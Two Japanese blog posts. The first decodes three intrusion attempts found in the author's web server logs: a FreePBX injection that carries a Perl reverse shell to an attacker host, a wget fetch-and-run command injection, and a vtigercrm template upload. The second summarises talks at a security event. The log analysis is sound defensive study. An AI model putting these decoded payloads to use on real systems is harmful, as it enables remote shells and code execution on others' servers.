最近来たサーバへの攻撃（不正アクセス）を晒してみる

個人用に自分でWebサーバを運用しているんですが、ちょっとログを見てみたら、悪意のあるアクセスらしきログが残っていたのでちょっと晒してみようと思います。なお、攻撃元のIPアドレスは全て"*.*.*.*"に置き換えて伏せてあります。

パターン1

Apacheのログ例はこちら。

*.*.*.* - - [13/Apr/2014:19:27:33 +0900] "GET /recordings/misc/callme_page.php?action=c&callmenum=888%40ext-featurecodes%2Fn%0D%0AApplication%3A%20system%0D%0AData%3A%20perl%20-MIO%20-e%20%27%24p%3Dfork%3Bexit%2Cif(%24p)%3B%20%24c%3Dnew%20IO%3A%3ASocket%3A%3AINET(PeerAddr%2C%22*.*.*.*%3A3333%22)%3B%20STDIN-%3Efdopen(%24c%2Cr)%3B%20%24~-%3Efdopen(%24c%2Cw)%3B%20%24c-%3Ewrite(%22%5DQAfH%23.Eq%5Cncmp%5Cn%22)%3B%20system%24_%20while%3C%3E%3B%27%0D%0A%0D%0A HTTP/1.1" 404 292

このままだとわかりにくいんでURLエンコードされているのをデコードして、URLだけにしてみるとこうなります。

/recordings/misc/callme_page.php?action=c&callmenum=888@ext-featurecodes/n
Application: system
Data: perl -MIO -e '$p=fork;exit,if($p); $c=new IO::Socket::INET(PeerAddr,"*.*.*.*:3333"); STDIN->fdopen($c,r); $~->fdopen($c,w); $c->write("]QAfH#.Eq\ncmp\n"); system$_ while<>;'

上記URLは"Data:"の後ろ側が実行されることを期待しているように見えます。perlを利用して攻撃元サーバに接続し、不正コードをダウンロードして実行させるコードな気がしますね。調べてみると、FreePBXの脆弱性として2012年に指摘されています。
http://jvndb.jvn.jp/ja/contents/2012/JVNDB-2012-004164.html

パターン2

Apacheのログ例はこちら。

*.*.*.* - - [13/Apr/2014:19:27:37 +0900] "GET /admin/config.php?display=auth&handler=api&function=system&args=cd%20/tmp;rm%20-f%20e;wget%20http://*.*.*.*:3003/e;perl%20e;rm%20-f%20e HTTP/1.1" 404 277

こちらもURLデコードしてみましょう。

/admin/config.php?display=auth&handler=api&function=system&args=cd /tmp;rm -f e;wget http://*.*.*.*:3003/e;perl e;rm -f e

これもパターン１と同様にアクセス元のサーバからperlスクリプトダウンロードして実行させようとするコードに見えますが、より直接的にOSコマンドインジェクションでやっていますね。ご丁寧に/tmpにダウンロードしたコードを消す命令も最後に入っています。

パターン3

*.*.*.* - - [13/Apr/2014:19:27:39 +0900] "POST /vtigercrm/graph.php?module=..%2Fmodules%2FSettings&action=savewordtemplate HTTP/1.1" 404 280

また例によってURLデコードします。

/vtigercrm/graph.php?module=../modules/Settings&action=savewordtemplate

これは上記２つとは毛色が違いますね。よく見るとアクセスのメソッドもGETではなくPOSTです。何か悪意のあるデータを送りつけて保存させようとしているように見えます。
URLに含まれるvtigercrmというのはオープンソースの顧客管理ソフトウェアですね。調べてみると、URLで呼び出していそうなソースがGitHubに見つかります。
https://github.com/vtiger-crm/vtigercrm/blob/master/modules/Settings/savewordtemplate.php

これはMicrosoft Wordのテンプレートを保存するスクリプトですね。つまりマクロウイルスを含んだテンプレートをPOSTで送りつけているのでしょう。次に管理者がそのファイルをダウンロードして開いた時に発動することを狙っているものと見られます。

とりあえずこんな感じですかね。公開されているサーバで不正アクセスのないサーバなんぞ無いと思いますけれども、たまにこうしてログを見て攻撃の傾向を見ておくと、セキュリティ意識と知識が上がってよいと思います。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

イベント「@IT Security Live UP!」行ってきた

品川で行われたセキュリティ系のイベント @IT Security Live UP! に参加してきた。なんかこういうイベント参加ってめちゃ久しぶりだった。色々話聞いてきたんで、まとめてみたいと思う。スポンサー講演は、どういう流れで製品のセールスに持っていくかも見どころ。僕の受講したものについて以下に感想を述べる。

---

サイバー攻撃の本質的要因と、(攻撃側に対峙する)防御側のあるべき姿
by サイバーディフェンス研究所 名和 利男 氏

基調講演ってことで、サイバー攻撃の現状把握って意味では面白かった。まあどうしても政府機関とか軍隊とかの問題になってくる。「中国」がキーワードだったな。あの国はサイバー攻撃専門部隊も持っていたりして、今後も脅威になるようだ。面白いは面白いのだけれど、ソフト開発の現場にいるエンジニアとはちょっと距離があったかな。

インシデントに即応！各種ログによる迅速な調査・分析の実現手法
by マクニカネットワークス 市川 博一 氏

Apacheのログを例にログ解析に具体例を幾つか紹介していた。例えばアクセス頻度が多すぎるとか間隔が一定とか。そういう風に見やすくサマリにまとめるところまではソフトでやりましょうって話でセールスしてた。ログのサマリを作るのは自力でできなくもないけど手間かかるからね。

標的にされた日、守れる組織のセキュリティ対策とは
by チェック・ポイント・ソフトウェア・テクノロジーズ 宮川 淳一 氏

日々マルウェアの新種は２０万種以上生まれてますよ、という話。パターンで対応できないから振る舞い検知で対策します、という最近流行りのやつだね。他ファイアウォールとかIPSとか複数の対策を組み合わせた製品をセールスしてた。

パネルディスカッション 「煽るな危険！ 正しいセキュリティ情報の恐がり方」
by NTTデータ先端技術 辻 伸弘 氏,
インターネットイニシアティブ 根岸 征史 氏,
NTTコムセキュリティ 北河 拓士 氏

たとえばXPのパソコンをネットにつなぐと数分でマルウェアに感染するとか、じつはサービスパックが古いなどの特定条件のみで起きうる状況を、恐怖を煽るような表現で目にすることがあるから、まず最初は懐疑的姿勢で見るのも大切だよという話が１点。あと、標的型攻撃で多いメールを利用したサイバー攻撃対策として、メールを開かない訓練をするのは無意味だよという話も。

あなたの知らない、とっても恐ろしいDDoSサイバー攻撃
by 日本ラドウェア 井谷 晃 氏

DDoSの色んなパターンの紹介。SYNフラッド攻撃、HTTPページ・フラッド攻撃、スローレート攻撃、DNSフラッド攻撃、DNSリフレクション攻撃など。全部に対応する製品ってことでセールスしてた。

アプリ脆弱性、危うい現実と究極の解決策！
by ソニーデジタルネットワークアプリケーションズ 松並 勝 氏

これ予想以上に面白かった。Android開発で脆弱性を作りこんでしまう例は多くて、それは単に対策を知らないだけだったりするようだ。で、講演者も関与した業界デファクトスタンダードのガイドラインに沿って開発すれば、Android開発においてセキュアなコードは書けるということで書籍を紹介してた。僕もその本は知ってた（自分では持ってないけど）。で、コードを静的解析して脆弱性のある部分を自動的に発見し、修正のヒントまで教えてくれるってツールをセールスしてた。実際Eclipseを立ち上げてコードをビルドし、そのツールで脆弱性を修正するデモとかやってて見てても面白かった。まあ、ホントは開発者がきちんと脆弱性対策を学ぶのが一番なんだけどね。

HTML5時代のWeb開発者が知らないと“ガチヤバ”な脆弱性対策
by ネットエージェント 長谷川 陽介 氏

このイベントに行ったのはこれを聞きに行くのが目的だったという講演。非常に具体的にコードの例を示してくれたので参考になった。ただし、HTML5でJavascript上での脆弱性の危険性が拡大したと言っても、「ユーザからの入力値を直接採用しない」「エスケープするか、エスケープしても危険なものはあらかじめ選択肢を用意して、その中空選ぶ」という考え方については、従来と全く同じだった。その意味で、基礎的な考え方ができていればよいということが分かったのは収獲だった。その他、セキュリティ機能を使いこなすためのHTTPヘッダーの紹介があってこれも大変参考になった。

---

こんなところ。感想に偏りがあるのは講演そのものよりも、現場のエンジニア目線で面白いと思った部分に重点を置いているということで理解いただきたい。やっぱりこういうイベント来ると業界動向の把握には役立つね。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。